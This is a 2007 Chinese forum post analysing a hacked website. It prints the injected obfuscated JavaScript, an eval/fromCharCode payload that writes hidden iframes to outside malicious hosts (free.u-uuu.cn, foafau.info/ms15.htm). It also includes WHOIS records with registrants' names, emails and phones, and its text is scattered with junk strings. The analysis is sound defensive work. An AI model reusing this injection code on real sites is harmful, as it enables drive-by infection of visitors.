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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, RoU55mL  
=R#Qx,  
http://www.areway.cn/?p=175 ppZDGpp  
a^`rtvT  
D+>4AqG  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: o$w_Es]Ma  
          Z&|Kki*  
<script>t=’60,105,102,114,97,109,101, n^z]q;IN2.  
32,115,114,99,61,104,116,116,112,58,47,47, {B[=?6tQ  
102,114,101,101,46,117,45,117,117,117,46,99, 7( qE0R&@  
110,47,101,114,114,111,114,46,104,116,109, P"W2(d  
32,119,105,100,116,104,61,49,48,48,32,104, &Q>k7L!  
101,105,103,104,116,61,48,62,60,47,105,102, KVD8YfF  
114,97,109,101,62′; [-\%4  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ^:#D0[  
                                                                                                  h{AII  
<script>t=’60,105,102,114,97,109,101,32,115, OY:,D  
114,99,61,104,116,116,112,58,47,47,102,114, Zn ''_fjh  
101,101,46,117,45,117,117,117,46,99,110,47, 5[A@ gw0u  
101,114,114,111,114,46,104,116,109,32,119, ~ vJ,`?  
105,100,116,104,61,49,48,48,32,104,101,105, W7 Cc  
103,104,116,61,48,62,60,47,105,102,114,97, Zy o[(`y  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ~xD ={9BL  
document.write(t);</script> VO$ iNK  
                                                                                                  8ELCs<xI  
<html xmlns=” sC='_h  
http://www.w3.org/1999/xhtml TMig-y*[  
“> poToeagZ~Q  
<head> 5\e9@1Rc  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> w,h`s.AN  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> JKGc3j,+#  
<title>首页 - 爱生活家庭网 Vm3v-=6  
                                                                                                                                                    rd9e \%A  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 =K6($|'=  
转换字符串后的大概内容是(谁点击后果自付): XzIl`eH  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… j#+!\ft5  
                                                                                                                                  S,Xnzrz  
查询玉米u-uuu.cn的详细信息: ?)u@Rf9>  
Domain Name: u-uuu.cn CaL\fZ  
ROID: 20070901s10001s64972306-cn G5C I<KRK#  
Domain Status: ok *q()f\  
Registrant Organization: 王雷 @>p<3_Y1  
Registrant Name: 王雷 j!]YNH@  
Administrative Email: czlovexs@126.com fZ*+2T>  
Sponsoring Registrar: 北京万网志成科技有限公司 vJ'2@f$  
Name Server:ns.yovole.com  CCL   
Name Server:ns1.yovole.com QKr,g  
Registration Date: 2007-09-01 17:54 ^~3SSLS4"  
Expiration Date: 2008-09-01 17:54 r]b_@hT',  
最后PING了一下地址 都没有什么…. ~S8*t~  
                                                                                                !t gi  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. > U%gctIg  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 9D7+[`r(-  
<script language=”javascript” src=” hJZV}a|  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 8$0rR55  
> \3pc"^W  
这个玉米应该有可能是木马作者的: /7}It$|nhy  
foafau.info的详细信息: [[;e)SoA  
Access to INFO WHOIS information is provided to assist persons in T~Gvp0r}h  
determining the contents of a domain name registration record in the U-R6xxPZ  
Afilias registry database. The data in this record is provided by `QyO`y=?[Y  
Afilias Limited for informational purposes only, and Afilias does not {&\jW!&n  
guarantee its accuracy.  This service is intended only for query-based =5kY6%E7c  
access. You agree that you will use this data only for lawful purposes Mz~M3$$9n  
and that, under no circumstances will you use this data to: (a) allow, OoA|8!CFa  
enable, or otherwise support the transmission by e-mail, telephone, or aFS,GiB  
facsimile of mass unsolicited, commercial advertising or solicitations Q$="_y2cTA  
to entities other than the data recipient’s own existing customers; or fSs4ZXC  
(b) enable high volume, automated, electronic processes that send yF"1#{*y  
queries or data to the systems of Registry Operator, a Registrar, or =y0C1LD+  
Afilias except as reasonably necessary to register domain names or B2C$N0R#  
modify existing registrations. All rights reserved. Afilias reserves JV]^zW  
the right to modify these terms at any time. By submitting this query, OH">b6>\  
you agree to abide by this policy. WJ4li@T7V  
Domain ID:D22418703-LRMS /f|X(docI  
Domain Name:FOAFAU.INFO [3{W^WSOz  
Created On:20-Nov-2007 16:05:42 UTC ]Bjyi[#bg  
Last Updated On:20-Nov-2007 16:05:44 UTC X pBj%e:  
Expiration Date:20-Nov-2008 16:05:42 UTC d` jjGEj  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) qzf!l"bT  
Status:CLIENT DELETE PROHIBITED 2T V X)q<\  
Status:CLIENT RENEW PROHIBITED m^GJuP LW  
Status:CLIENT TRANSFER PROHIBITED Si6al78  
Status:CLIENT UPDATE PROHIBITED L IZRoG8  
Status:TRANSFER PROHIBITED ha(Z<  
Registrant ID:GODA-040110615 .y@oz7T5  
Registrant Name:liu hong wPwXM!  
Registrant Organization: ;#oie< Vit  
Registrant Street1:beijing `Ye\p6v!+  
Registrant Street2: <8d^^0  
Registrant Street3: <gJU?$  
Registrant City:beijing ?kB2iU_f+  
Registrant State/Province: W9D86]3Y  
Registrant Postal Code:100000 j( RWO  
Registrant Country:CN j^^Ap  
Registrant Phone:+86.860108888777 DDPxmuNG  
Registrant Phone Ext.: hvDNz"ec{  
Registrant FAX: `kZ@Zmj#  
Registrant FAX Ext.: 3td)'}  
Registrant Email:bbbshiji@163.com ]dI2y=[!C  
Admin ID:GODA-240110615 w8Sp <6*  
Admin Name:liu hong = c>Qx"Sw  
Admin Organization: ni<A3OB  
Admin Street1:beijing E}40oID  
Admin Street2: /4` 0?/V  
Admin Street3: YwZ Z{+n  
Admin City:beijing @+ BrgZv`  
Admin State/Province: ?q; Fp  
Admin Postal Code:100000 ReM=eS  
Admin Country:CN S5G6Rj@W  
Admin Phone:+86.860108888777 G-?d3 n  
Admin Phone Ext.: DjN|Wr)*  
Admin FAX: ;K!]4tfJ  
Admin FAX Ext.: X_$Cb<e  
Admin Email:bbbshiji@163.com +YqZ ((  
Billing ID:GODA-340110615 $CY't'6Hn  
Billing Name:liu hong -5I2ga  
Billing Organization: ~:3QBMk::  
Billing Street1:beijing DsT>3  
Billing Street2: 34d3g  
Billing Street3: l,,> & F  
Billing City:beijing pBETA'fY  
Billing State/Province: JWMpPzs  
Billing Postal Code:100000 S%yd5<%_  
Billing Country:CN a^=-Mp  
Billing Phone:+86.860108888777 3WUTI(  
Billing Phone Ext.: ($}`R xj1@  
Billing FAX: {|1Y:&M?   
Billing FAX Ext.: 2UFv9  
Billing Email:bbbshiji@163.com )e a:Q?  
Tech ID:GODA-140110615 (Nx;0"5IX  
Tech Name:liu hong h\PHK C2  
Tech Organization: Ee3hG2d`  
Tech Street1:beijing op6CA"w  
Tech Street2: 1. rj'  
Tech Street3: L (khAmm  
Tech City:beijing l PK +$f$  
Tech State/Province: /ew Ukc8,  
Tech Postal Code:100000 D?0zhU  
Tech Country:CN []A%<EI7  
Tech Phone:+86.860108888777 /k<WNZM  
Tech Phone Ext.: C\di7z:  
Tech FAX: !kE-_dY6)  
Tech FAX Ext.: ;ByOth|9P  
Tech Email:bbbshiji@163.com /6h(6 *JI  
Name Server:NS27.DOMAINCONTROL.COM CC@.MA@9N  
Name Server:NS28.DOMAINCONTROL.COM ?_Q/}@`  
Name Server: qt;y2gf=  
Name Server: Hrzf'a|^  
Name Server: >&p0d0  
Name Server: t$A%*JBKm  
Name Server: %"af748!+D  
Name Server: IjR'Qou5  
Name Server: RW}"2  
Name Server: yRiP{$E  
Name Server: k31I ysh  
Name Server: ^ 8@Iyh  
Name Server: |'{zri|A"  
                                                                                                          aMvI?y {  
接着下载每个文件里面的代码: 7 <Q5;J&;  
一步一步看.. )I$q5%q8  
w );6K[+;  
* ;Cy=J+  
ltD37QZQ  
m/qbRk68s  
/Ne<V2AX  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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